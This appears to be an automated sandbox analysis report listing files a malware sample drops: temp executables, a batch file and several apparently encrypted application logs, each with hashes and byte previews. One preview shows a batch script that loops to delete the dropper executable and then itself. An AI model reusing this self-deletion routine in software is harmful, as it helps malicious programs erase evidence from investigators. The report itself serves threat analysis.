Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\62C15A76.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\74ef2ae8.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.944231077823919
Encrypted:	false
SSDEEP:	3:jdKZOMERE2J5xAIKwAdAIvMD2UMERE2J5xAIKwAdAlCKReJsjIdKZOMERE2J5xAa:jdKoFi23fNNIvMD2UFi23fNNY/dKoFi6
MD5:	98C6FDAD49837E396177FAE28D85DF2F
SHA1:	61492AD0B7BB76BF6E92A82BCA36766B755CC1FC
SHA-256:	AD077475954BC61853C8446D6CB4868814C91383481393C22ED0F0E86FF0BECD
SHA-512:	02BFE583589DA0FE96B43B1B3EA11F548E787106C36E3E5197568579E237D150F2A4F60406970E16B3EA65835FE9C22DEF34BD4C66E685A364AE248FF0678C5A
Malicious:	false
Preview:	:DELFILE..del "C:\Users\user\AppData\Local\Temp\lvAVrO.exe"..if exist "C:\Users\user\AppData\Local\Temp\lvAVrO.exe" goto :DELFILE..del "C:\Users\user\AppData\Local\Temp\74ef2ae8.bat"..

C:\Users\user\AppData\Local\Temp\AdobeARM.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4981
Entropy (8bit):	7.958840584004586
Encrypted:	false
SSDEEP:	96:oJTOKUi9ixoFwxu83ARK2W7KsReOux+xbrQXkxVXwRgD9Dt:mOKn9YoFw883ARJWVuxwrwkxVAC9Z
MD5:	747E7400C25D48F47C6228A3FFAC60DA
SHA1:	59E12B1AB54A3565388F09A32637970D0042F873
SHA-256:	AC99947B19EC9E6B784082F97C2BF9101A5DFDAA3A5B75190B14525378B3F501
SHA-512:	4AEBF579C85608122F79031D6ED65CA17190842DE9B5AA5A619050EF8F442B289FF54867FA5AC2B422EEBF64A518472F0C4287E4639E9E8E01B77805A2F773DA
Malicious:	false
Preview:	[2023..5...K@.y...]@../..8~J....?...5.......O.q.......EX.....<F..w#....0..7...i!..:..Bf.a..U..XbX).n1..W.r}3;...q?..8.......;{O$......\|.,.....A.+.=r.y.,[.l.2..w....\."..r...At.m......l.hRRj.N.d\|.@..`9'......2...<.I.....Bl..A.3/)r..rA..8.r_\|..1P}.)....v:..."...i.t..L.B)..c;....'..F.0...F..LT.....6...r..{.....r.....8..L...]7J..U.....vEs....}Z.by....{.n.....>..+.jJ.dt.".C.3.K..r.s.Ty..EOm...C.$!..k."_..T+...=...-..q.....c...l.H..D.W.1.....P!E.&MR=...<{./.../...Z..3. J....2.d/...).$.{.p...LB=..s.RG...;s..u.Y......1BO..&'D"...dKO.wPp...r.........&...>..8.4.l..E...eDHSo..X..r.'.B...v.h...l..6k..[.....8-.gB`ex..q.Zq.l.!!>f...n.-.{.D......+.r{..lo..V......7......1..F...7..,..}...1....}.S....r.;N1......Y{.x4..ys.....U...$.Bo+I...m...Sg..WL.Ay.v..p.~q..h.U.....{.8.Tz...Q..#dX.!......fK..2t.Y......l.%..$+....Ex.-q~..wQ.......p.L....M.oJ....B.PM..C....."..3...p.1l%y.#..^[.l/....x.. 7.JQ.....\|..x;.......ni...L:Vi..FV.wx..H..W.{..V...L.-p

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1152.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	38870
Entropy (8bit):	7.995553787242212
Encrypted:	true
SSDEEP:	768:TrzN1889CFxWiRVQ408V45+B3XcvPrBhwRMOwaY8FRK:Tnr8LxWeQdgtIPrBhwjY8FM
MD5:	DE79E6DF3CB9720EFB39AD0307827688
SHA1:	5EDB96A8E70DB3E56798BDFCBDC54CE22BFC9687
SHA-256:	FDB9714CE95B312CD3557894CF549092C44CCD6C89E88AAEEE3473BE54EB1A7D
SHA-512:	5AAC2DBC9E1061BDFEE838BA5F0FA65E65B708409B343BB53FA7CB9BF82F09C64C87BF65CCEC3245433AE51D8730E19542D1BCD3E373A2E3FE429F2D11D85AD5
Malicious:	true
Preview:	..T.i@.......;.'c..#...............Qh.c.\c.i..`.......%.g.SH.z1eO.LI....2./;....D^.q[3....d..n+.....z..O.....b.....%..M?!;.:Fh...f.0.@.k..ye.....\|.B.H......n`0..9....u.... @g...W....S..u`...)..f.....\.J..C....W....I....Q..C.?B3..A. g3.kv...).6b.y.{ZT:...5......e.G....a...<.2..K..8.Xu./.F.$.bQuD.<..a.Si......ib....TN..\|........\a.v...h....4.l..-<./rd._..p.{f........TIZ .......}(afK.<.A...@.....\|5...m.9.f......$.j.0......eQ,...._...`....HS...3q:.i..."E..$..6..f....1../..)n...p......I.57,...@.. l....Ab......4.&........0.x..g!..`.....z.h'&IY.!b[.S......3..Cq.....w.u.I.....,....i...q.13...\|5.x..o...tL.X.pxr..VH..o...q.....l.j.....7..#.,.pm..v.....J..c.C......"....edpb....d..A.R5....J2n......9'...'........-.(.3-.}H<.i..u.&..]..m.R...!.U$ZO..,.ab.\...d..l.N.*.p....y..aW.eBj@}....x.O.."..E.&U.E.._>.F$O...S...t..#..l[..-+.v..tD...N.^;R.m.g,&... .....MY..zpT.j.>.(./a,..d..P...1.........`.a.a$PQ.K.<..0t4.u...\F.,..(Q...,...;?..t..

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1152a.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	180302
Entropy (8bit):	7.750250434447585
Encrypted:	false
SSDEEP:	3072:jeQegryuOQIa9xCmEo5yMvLBULK4IZUd/BQU955oHj2YrBxFS0p4pEWFU:zrZGarCto5/vLBUeFU35oD2MFS0pKEn
MD5:	A91496558AB43C6D076B04AFD11B6763
SHA1:	69CAAB1D85326D44C099D47BB2A4A76937AC176C
SHA-256:	8E94A4567479806BFBF53A08C811BAE2D2ED0CC240EA0CDAB4D432E98E43E147
SHA-512:	21D5A4E588264F3FE8558C60D849E189541B91AEB28A0ECDF19E41C4991581CCA0CE6DD440E977B83C9AD1734F36638CBD5A044F1B8B076F9DC54343897597C8
Malicious:	false
Preview:	..T.i.....q5..>SO.F..o9.1.....A...e..E)z..7;.&!..x.,............]>.......BpN...O.K...J.....Lbb.o....,...J...............O."..f.O.)..(Qz=......f .==....Nm.....D...7.Z._a..X.....(.g...O.5..AF?..o.....%....4Q.]..t.CB..L.;cg.....Vu;.)......2...E.0Y..u.....{.x&.K+........^............kh_.M:.y\|q.7G.`5.....1........f7.,..)x.L..mb..^Y1.[...J.......Jpt.{q.j_~....xE G.L35......,.n.s..R.P$f.^Y@..g.n\|'Qx\!Dm.L.......... ......:o7.4..5..S.{5hv..)....V.....#..!..?.i.dO..T..I._......'7<\...O..AX~.e..hJ...@:......9y..!.J`rk....(.~......~..s/+.N6.B.......A5x/./k}..Q......\..i./......~.W.)..#~\|)....O.M......p[.#.u...V..3v9....Z..89.......K...1...D..;0..h....7.@./D..B......\|e"....HO,..d..<."...G..P.g.ezj.i..Rn../.1q...G..........K."U..@C..YyB=.+1....l."...q..q.K...<..c.../...u..}R.pT...R...Ma(..e....k..W.j....\|ld#.....<..[+....r.m.VD.....%..)..fT.e..A.%..s....@-..i.....-.1.)/.G.S....1.....!.,'.=.R/x;.@h..f...yf..#)]=..&.Q.P..A.s.k.. ..5........

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1153.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	261554
Entropy (8bit):	6.91736148696782
Encrypted:	false
SSDEEP:	6144:MwEwSDA6jYZWyaFKu8uSUuMyvS9BRN6B6QY0YCusMHYalZ/4GDWWxKTt3r05x6ey:MEkJjMsKVai8BWY0YCusMHYalZ/4GDWN
MD5:	81D40EAD8AC8791E822B79E8B7B16A89
SHA1:	9757778CB60694BBE1DE1C111B1FBB693CC8B812
SHA-256:	738E2F6BCE80A3508D35E2D89F49392EF8A78E2903D995E9504676ABB7EFE517
SHA-512:	7036CE15AD2131D0AEE5367A51A4141DD05D4BAE5B767BD7E4E4C38522EA0948ED5063ED7FABC7E65F10E562B668AD817C6E2FBBDB98747EB8843314515CCD42
Malicious:	false
Preview:	..T.i.j.x.........a.UY.c~..r^.F.o..A.C~.vH....J.XD.P....zh.e...$H.....jU.fG..:....Cv.=..z.)+...5.t,$.[H.[m..WV...Dy.H.'K2'.....#Ik..2.B.<.\|...F.t...W........... K......9.>..............C4..g.U.J...y...._?U~.p<.`./K...o.c.....Zm@...".xb.....Q........DT...2..e.\...R........Z.y....]..D.@_.4.....MgDGw....I..J.....3.....ii.2.}.=.......-Z...K....G.I.3.2M}.....K.....FNL..<...F?-./wz....\|..Dj^\......6.'.6.j...d$......=......)&......rS\|....d..3........./.%R.d?.x.%...6..y.{.8-.Vv"4....v.?R..Q#\.......!.S"........+..?..6%3L9.&.vB..Y........_V...3wS.e.D..0G.K.yY..C.......52.TT.).F\|...[g.G..j.]...3.1Y......T.Q^b...jd...T.`..@.j...E...,.o=.g..p).....u......7..{6..B....z.1..h..>.q...l..E.._...=^..i".....y.x..Z{.$._...B....9.zu...A\|.30.'.....o..h......s[...,..E<..e..@.0..P.b.q.....>c1~9..<.n..+..&...FYy...`[..\|b..J...b.UR...... ._.k...LC../&P.i..y.FYC.l.)F...+...I...-q.0].L.>...K..F../9.@HT,.%...d..Q))..]a2..I..M...SLu..\...o..2...>A.\.......].-..\|

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1154.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	217194
Entropy (8bit):	7.294047139885167
Encrypted:	false
SSDEEP:	6144:cpanlpgK6Jd3vDL33jqA36sk8CU3dsGQ3oPeyDncb5OfvsL8uGHreU5F25XCbNeO:TlHOd3LL339zCUNsx3oPeyDncb5OfvsO
MD5:	59FAF5D81A7CE5596CA2A950340D38E9
SHA1:	08FCE8CD71CF74B836B391DDDA5202405BFA75D1
SHA-256:	BEBD89FF0527BD17EDD5E03F7316484AE0E7AB3FDD0AE60AA041AC518E1D40D4
SHA-512:	CFADD655CFA858E343F8F7151CC98C2BEE5CD585A8753F1ED3BBA39104C8DF98026620049D8304204BA950B7C8066392735B0B969AD11CC86717F9475743FEA5
Malicious:	false
Preview:	..T.i..-6.K..2.9..w..vZR.^Z.....f.@....Fx....n...9.....LKK...Ax..a..Sn..g.....D<.r..&[f `.........#.E....,.jiR...!p.d#...\|...G...5w..D.>.......JI(.&.I!...WTm+n...q.e..K;..s6..u...........O\`.$...W.....v..u..~...1...@.....Riy...`C.)...Rr..#:>.$.5....5......w.]..V.X......C_...R......(.1_...K..0.Q.~SS.......s{Sa.....ikC........L$.=Xo...G..+..RP/...U..].{.vc..b..<.\|.Fu>i...I33<..0......p.6@..i.Ws..lJGU.G0.5..,.<.5......K0.z&....A `4..~...b..XDP4..E..P5..a..M..og>.y...%..].S.d..^..!%.....hS....,...\|.D..B.Z7......}..OS...G].x...^..h!...t..p..VE..F.$...........\|.>..y...........f..-K.Yf..X?=.J.GpE..?5.._.WQPU.c$f.u.....q.D."Y...E..B._.2..d..nFm.(g....v...U..I.u&!..X..<.1.}_..^....:..Z.@~..-...<#.!.[G\.... .a..+.P.UN.......E)......W.....B.......5..R.%....vW..>...........L.8`/...q..S....X........r..,...c]..A.....B...s<8...5....hH....j...0..\./...,M.!...B...B7...#...iZ.:.=..+.7.r..ty..........J.C.E..C.a...w.9.f.....0.$..,......a..lfG

C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1157.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	394818
Entropy (8bit):	6.112105140630689
Encrypted:	false
SSDEEP:	12288:T8wJuHBfLS0NM3nUIBdkBwppCwI4RuyYkwXB7C/jzsYaVfeXQM9VLGCvHvQZ+sWf:T0JK
MD5:	F85DB36A652D4D1BECAC61857BF66F69
SHA1:	4A218D721EB956ACD84F94F3E6669ED153C94DBE
SHA-256:	E990031AA5ED37A1E032008D04B79CBE9FABD7CCB52F8C43B646C1D0A1C99598
SHA-512:	9F20BCF9DAD570AF9402416FDD90F8E4F975DF43BA14D0D14CE6E8B7410622ED509F4485CEA6BFD57C4E6E29DBA8FAFEA011631887B231751517730EB82B7F86
Malicious:	false
Preview:	..T.i..6...ow8b.maRN...-x...L..e0.%........p@.;.=.xO..v.F.Ud......aDD.....!...K8.(.^.9........+.cj[g.F...[...?.X~..<}.)\.....R!r...-...^.E.V ....!Y6.pW..p....>.&C(........5./.$....U5m.?dV .5`......N.......!,F9.........A...,.........9c.B}..V.K..^...R.{.<...:...%q.s;..S(R...]roO.-...[..6.....oV..#.....p..-...L.+.......n.u\l...{../.....F....7aw.c...H7....Z..\.h...9~UMYP.S..R......a .WX~....rt."..........'[9.2nH..sa{...\...ZQ00...?\|.....e..K.t..^?..L{\|...K.e\-.......d<.T8..I...a......%......`.E......X.h....G.5.@l.M...1H0)....Z.Pt.jm=..\|...Y........_.td.nv.jF...).p.$uD.]....F..(..i.;......K..m2.n..E....=..5HJ..B.1jb.(......F.v...2...`Vt4^}..G.^...l._...gV..o...8....m..P.......k.^._...r...^.o..Y.&f kp/.E.....<.k.:.@....HH..........tVC.x.s16Y.........)...9......].J\|.F. .Mcs....y..\|<*.4...,.0S../].n.+sC]Q3.......<q{..>..-.......k.]F%...n...^,%j.p3.....\|m.k.....N`.Yw..Da.....>....uVe.k\N...a7.@P.M.Qo.......d....:&.k....&&..V>Y...

C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696501296901617700_E285B920-83FB-469F-8AC0-93210F7C82AA.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	17538
Entropy (8bit):	7.989645962899937
Encrypted:	false
SSDEEP:	384:ZAE7c7RbGviT+P/r6vw2CchId6HZZvh3jGG9g/yvfdQ+v4EpU:ZAEmLY+w2Qd0Lvljpe/K2+gz
MD5:	467175E1332DEEDC347CED58892B9A04
SHA1:	097222592044EC321210EAE633BFDD1C2516783D
SHA-256:	9B10E9804084023AE6815A5AACE4D7B6703CE38F25931F6517586D7D3769F71E
SHA-512:	8EA3B93883B8AE110ABA01C891958E10E95DB66721A6067EA0C2828EF3DBA9F64DFD822438AD2E57E1E0D32959793530C3B602ECF613E6B5CA26866E79F8BDCE
Malicious:	false
Preview:	Times.c...\......aHj.Q..M......@JZ\|~...b.j..r.Y..\./..l..D.%.&..(.._B..HWA.3..ZX.5....l..4...0.d...n.v.....M....`........E+)<7.....Cp=.O.F!.....#.....{.Gua....Iz.x.....V\|....._...O.............o....8...i...D.%%.G.'.pK'3..../;xCS.......JS.^..d.......R.m.7..=5...'W...?a.v....oR...q.=V]A.g~.....xn...B.....<.................V/&.....I%Nw..Q^..c."&..;.d.J..~[..."`U.+..fR.s.../.L..x.G.+}.......:J9.....N....:V_c.~..O...*h/'..!5k..HI..(.....0..p8.Sk..H..V......'.6.y..i.:~..A.........1F)W.Sd...7.'..c..",..1..0.......\|...%........m....`d.;....oU...@.a%.p.)..7.X}.....;.W..$........oN.Ya......AN..9y.q.o...&/$...Ix.=.." ..o.Y..?4.....]V.o.l\.>...e.k.9...x.%E.M.D...W.hm!....a.......{.....vA.^.&H..P......Wl%E..............>-..F.LG....c.q.5I.+..6c...+..]..h.\|.\|..@..gO.......E...1........pC..DvJ..a2.!.<...@.p3N9.....!..Xg.....$...t....,2hI&.k.:.;M&...H..>....lS..5.4.1X..T/.S..F.'.B..t-...{8.s.wzG&......SV}..R.....p..G...j..Z...ZNV..O......Oo

C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696501320899113200_1A06D4BB-DFF8-4391-B9AB-F88623A7807A.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	199839
Entropy (8bit):	7.802458288519817
Encrypted:	false
SSDEEP:	3072:Fzudk1lkneO+UABAc7r+SDbDUwcYDDgpkJv+sOEK7y2YyFAQVceBP:QmlKehJ/+SXAwc0D4g2stKhYKAQWWP
MD5:	B0B9ED9BFC27AC6B8BF77E50F70A0603
SHA1:	DE3B10DDB0DA5196A7CDFB06530FF4D12D5C2BFD
SHA-256:	ABF66EF9CC871FEFC71C6D4CCD1C1A3F371AFA532AFB5C24BC5D1CF4A2569654
SHA-512:	3A1E7AA0A3925547D8E028E35DE48E871563E75BA9437BBD482BA5A5B31952CFBF4D2336FF67C84DEFE19B83F565B8659CBADCD8215E3A8A95CAD4079146800C
Malicious:	false
Preview:	Times.n..Z`%..isy0..:......^.9._.rO.-.7.q._{9.!..UCb[...hbS2.Y=..CA.....^<`.h....3..Hk.../C..R.s.?S:..d.>.l.G%..CZ..."4.^#..!Ht.[.....T...G.9.M'....l...,..z.....<....!^...).1.$....Z.U\..K\..P.i.....X$..a.1...K..&...U...P-...U.9T..m.x.....$w..+....P........(4.........v. . .....0($.....34.....S.;....&.5...HM.ED.....{...@b\?..:."\|J..B...........)_T..9S......u...="a0../...e...%...q.f..g.8UP.xr..v.`...d.._..:m..zmFr._`........I/..h..U ..G..=\.....:.cf_h\..9...mD$.\|..Y.k.....N.Roo..19.....:\/.....,..0..d.L.t....%..kG@.............5.=l.J3E#..R....M..T..1..z{.^Y...p.E.5Z..t.......4.[.........[\....l[.....[.k.G.].[......6%..[...;S.!#..ao_..Q(.y.(..>V.m.,A..........{x.,l..(....H.wW.V.>.q.....yt...p......1L.R..A.5Q.;VKA9..5k...j...q.o...^.7..0. .e..6./.CH.%."....-.9.2o...%/..!'aKE......Z...Ogn.JA.c..3....)...$..R..d3..r....<9},P#.........2.g.....$j.....A1..p..:.....7JZG,..s..6...\|.Ks?.=.%.....+.-.6.0T...qqH.(^.K...C3...Q.r.l.K.r)..x....?A.y

C:\Users\user\AppData\Local\Temp\Diagnostics\EXCEL\App1696501329408245700_8059F11D-A631-42CB-859E-D78FC666AD16.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	174521
Entropy (8bit):	7.925414482174101
Encrypted:	false
SSDEEP:	3072:6BWMYUP88egqNN9cwXntbr8jbOl20M410jinPyjuMscBVqx2nsRDw:6BWkP7zqNTcTOl2lc7Pyjufx22w
MD5:	C955F1BC60B3081FB9FC4A7131C166A0
SHA1:	24B0AC303342857776B88322A48A484AAF23B28D
SHA-256:	CD7DFC6CB1C1E9042C95396CF63AD4A5A6F75AAC9ED13D4D95A080F2AB0B8011
SHA-512:	46E902AE801A3889830CB97ED98EF2FA7A97A3767CB1FB14816FBA242AFB1EFFB763DF04FA6AC06B41CE13EC7E0607F927B2896126E2B26E94E7A0DE55958B83
Malicious:	false
Preview:	Times.. y.l%......Q....(.VT..^...'..jK...b5.\|...(.~X/6+W.....i>........_Y.i...0YW.9A...5v..bl.3l..v..dE..#..I..\|..m.....`Th...V...._:..j.D..{....:.I...a .u...2...\[;.z.......m(.........M..E.}......}g.z...p..U..KY......8..,A.d.+9....O5..g.5!w].K..=..m.bW...J....Gv.S...F.A.0..DJ.Ity.`L..dp...e.l...I08...y8...j1.r.%..!iu9.Uii......D.c.. s..@G...d..E0.}g...H.l....2.S.\....!N1....1...Cw..a.lW....U'k<..34...c.......H.P_,.#.2..=.z...h...c.."....`....n.<bg...Ulx..C...q.v.(.)Lb..~!..;.{uy.HE...y,.e....H.O.>@.".Y...... .9...LN<..HU .\|.....D,.....^]wA.^2.R-W."G\y...-.8..;.Y..m%..+I9.......>>....L.+NV.JA.../.{..vG...3+....q .G..xBc.Y.T....3......<c.PY...Y..H....b.......r...t.A...W\|.I$5>.U..1.1..9@......t..)8..^ .]..3..QP.c..L.MM.w..M..So.F...-C7..mg...{'.;e....r.n?0T....q~..:...z%...D.2......R....O...V....k\|%"T.\|.p.&.s...{`,g.3.v;..g.Ty.._?.I.X.".....x.&..z...\}.'...).>.#...-.......&B.w...5.......e.._.4..e.kWad....Iy.......Zd.EE{{;.w.fmF..\|...

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2023-10-05 12-30-24-218.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16859
Entropy (8bit):	7.988739721852972
Encrypted:	false
SSDEEP:	384:RC+tSArrF0BsEvcDMELCR+EduK24hzJSidY5n5xaBY/rOfnAe9PRV:PtrFsYDM2qxJSGyLau/j+RV
MD5:	079826FB366498FF3008945D63128D26
SHA1:	C0DE98CDDB68B51EE9C32CFE0D9C97D705A57B2A
SHA-256:	2A1910F4112D88CD101B8BE06E62B079B29F5BB27A67461F543E826C62B36795
SHA-512:	C958E78F818996803ED152775B03573AC6492BFCE670CACB087E8BE151F110129433FA89C1B446794243FFFA64D26D4DAE358E9E9FF9ACD7D3336AD364577EC5
Malicious:	false
Preview:	Sessit....y...v...wmu..4..)..f..fYL..H.oU..RC......K.fu..#ib...Yo.Z.9...oX.v"..xxc..?.$<.K8.Z.+\.Hvp.?%q....\.E.A.f.j.(.x.. ...f...6....'V..h;..y...f..^\|!..j.W... ..MQ......>3.U........~O..g[......&gW......y ........g...e..el..%.....)...?5P...-M1..RR._b.A\|l.. ~....&..........m..%S.....V....b.].$./.oz..>>..deS..j.].....y..)]p..fT.p.z...l./8.....^....'..&...(.,...5.3.rI #./..x#.R..G.........K....Ph.P,a....;..d.)Gm.]!.q..WT.......FYh.K...v....'......F.Ca..F.._2F...g./..T....x.......=..e.,.n.M..R....;>........F....F...8._.i....l..3<...L',...&....j5AZ.....>7....5b....~.w>b..../...dJ.F.}3.P...X.E.....>..3....y.E...........w.r.....m...E.hA.eR...HMa.X)[.b....Vs.b.p(Pa?5O. o.+....8.S....YW.....@...CEj....P..+.~......*...J...q..CA.;...z....@a....S..7......u.......c...?...$..v.NZ..K{z....H...0...b.r...'..7..Q..Pt.y.T..o.c.M.#(..}....o.x.5..:X..i..2............W^.......:..53...<.D...9..F.R!c.....h.......:..yf".-.g]....S[....^?....8...t.PR

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2023-10-05 12-30-37-144.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16859
Entropy (8bit):	7.987994565101303
Encrypted:	false
SSDEEP:	384:MB9Eo3cCXEIQHmVkCDe8NfVOnSxBlQLfrK2apNrrn:MB33FXEI+mVxTNf4SxBIOBpNrrn
MD5:	657C5FEA388E0E56E8301115DD0B4F1D
SHA1:	83640768C52D329B24E806E8D8F4B2A073AA1F07
SHA-256:	64994961F413109C916704199BE5434C6D47F7AC28BAB5320DBDBB57830E67DC
SHA-512:	0114F00BF466142B93A3E6BABECF05B4DE7190CCC3986F1859DBEA4DA7ABFF3461064AAA956A0058540B1231A2FE02D00DBBA97298B5F6CA408B69EBC7BA958A
Malicious:	false
Preview:	Sessi%.#v.y.!i.K{.z(`.. ....<A.=..bC.E.:o.yN..H...I.Foq..4..I(..l._.......k..tKk^~%.......;.T...c.:..d3.T.Og.,.U.s........f.T.s6.......,...yy8...U. 0o.xr........^dt$.}.........\.<.K.o.....(.6..:e.x.^..r.j...r`sx6mr..i.M5.V..&<..v6}.y..d.Ub_.._x.`..!....c.-.........K..j...D.).4N.4_.N..G7F..W....W.i..Xk.Y.\.....)3.......~.`.....~v..^...B/.N.b.Q.}~Q.....4...".R....\...^...t......&f..t..l92".x.~hS.T...@RT..%.V......rA.}....U..T.e.+..m.O\|2...@..C}.5..^t'S....V..Vrt..0.o.....`..zG....Z..H..nB....n..0M..#.$.W...mK...c.x.........E.1..4..deM..FfY.[..y...[.<-...s...h.>&....X.. ..=.}V.s[....._..G.4....O.../...iFb..HX....Nz..=.#`.u..........68].6].9...<......<Q..6v\|Y...u>Y..~e....y{O(.A.3..^.Y.:.V...5.>...uk........&W#....g.af....f.(.5}.....\.S.%$.@...\.CY...a........t..o.-.F.q.L......@..q..$.9'...q.a.=v4.63SJir....yq...C..t..F..&JM....<...9./..xV./..v.~.(....T...r.5......O.@n.zi......1.$..B.)3........1P.......Yt.....ZU.y...w.I.B^.

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16933
Entropy (8bit):	7.990011066134081
Encrypted:	true
SSDEEP:	384:kmOVVCg8p1jF+1r/jstK68kjYSRvb+OFPtNqO696MNYCduVzT:kJj5o15iry1iSRz+s66Odup
MD5:	EFE0D243AD103D2F09157752082A5057
SHA1:	6B3FDF7460A3E482C9FF04661A3657E7A889421A
SHA-256:	312B0B94DC8472E795DE5DE0948834A88FB65EBAF2AD35BC9D2D5331A5378EBB
SHA-512:	C188AA75E241EDF6FFAE4D195A139559C2B975D57A20C3420DBDD9645167864456765940F4100A8C2A643C512C540FFA35F796F0A6D3F9A6FBCA46AD6D131248
Malicious:	true
Preview:	Sessi.iDO\|F..tjs.U.~m.f.(..di.?..A..k7!(.e...o..D,...'..u..;....I fmN...K.$......b..2.%z..).../t....F.6F..5=...o8.7.?....9r...R........<.....B;..........@..U.'M.x..h.AMGg.#..c.z.._...).U.....+.`...U3.c....m...62.>&...h...R-<..[a..........zd\j~.p..%...m.....5....r.....G%..M.j.....7...c....hs......1..Tq.&.G..,Sd:W.....J.~kx.@...1..\..{k Y.H.......8e..w...(.IR..<.......z.#15.6..-L....Z).T...:.!.............9..."N..;C.'&VrC;M...En..X%.....^~D.4..R\|...@n...o......y.n..\|..i.o.p.Zo7......^..Q.NH@.g.\....I_........%.....=....i..........x@.y...[..bxU.....l)....3..U.>C.p..7[Z...;.~..1uo..J...ei.(...9.:.......w...&:.a.",..1.LI.....+8..lQ3...`ii..s...3b....4.@.[.p./..@.C.[w.b(1.E..p..u....2.r._..UtJ...y....l&..........FWV7..(...3N..k..a...3a-$#QSF.S#.<{..sy...5.&0J.......s....b.K(....{4....F.....t.6c..){...!...o...Gn..,..Ds......}ZI*.{..;X.2\].....&......4.yn.,.../.>p......[. +zEy.M..C8...c...EY.@f.%8$..Y..Wi.._.g....v5.z.ZfH...o...!.

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992045138933381
Encrypted:	true
SSDEEP:	384:Pr4KOJcvYtRN9HjAlOMLjrhPe+M1vOHxgo7fmr+kvSpvUzGMS5PYV+b7ed:0KRv0NVoOML/IGFmiceUSMS5QV+Od
MD5:	197BEA55DD725C72D2DD336567B7A5D0
SHA1:	F1B83D5A039DBC05CFE20943849FAC8807264C02
SHA-256:	E6FBD1AAFCA853CD40132CA177F2E67D64FE0937013131291D45843E247DD508
SHA-512:	01E84EF3652010091932AE24F69B93F7BC1A366C79EFDF22DA33C89C00886792E829CAD03A49F46D7DD0617D58538F30AE2BE68B47B1F74581CB24DE45727F77
Malicious:	true
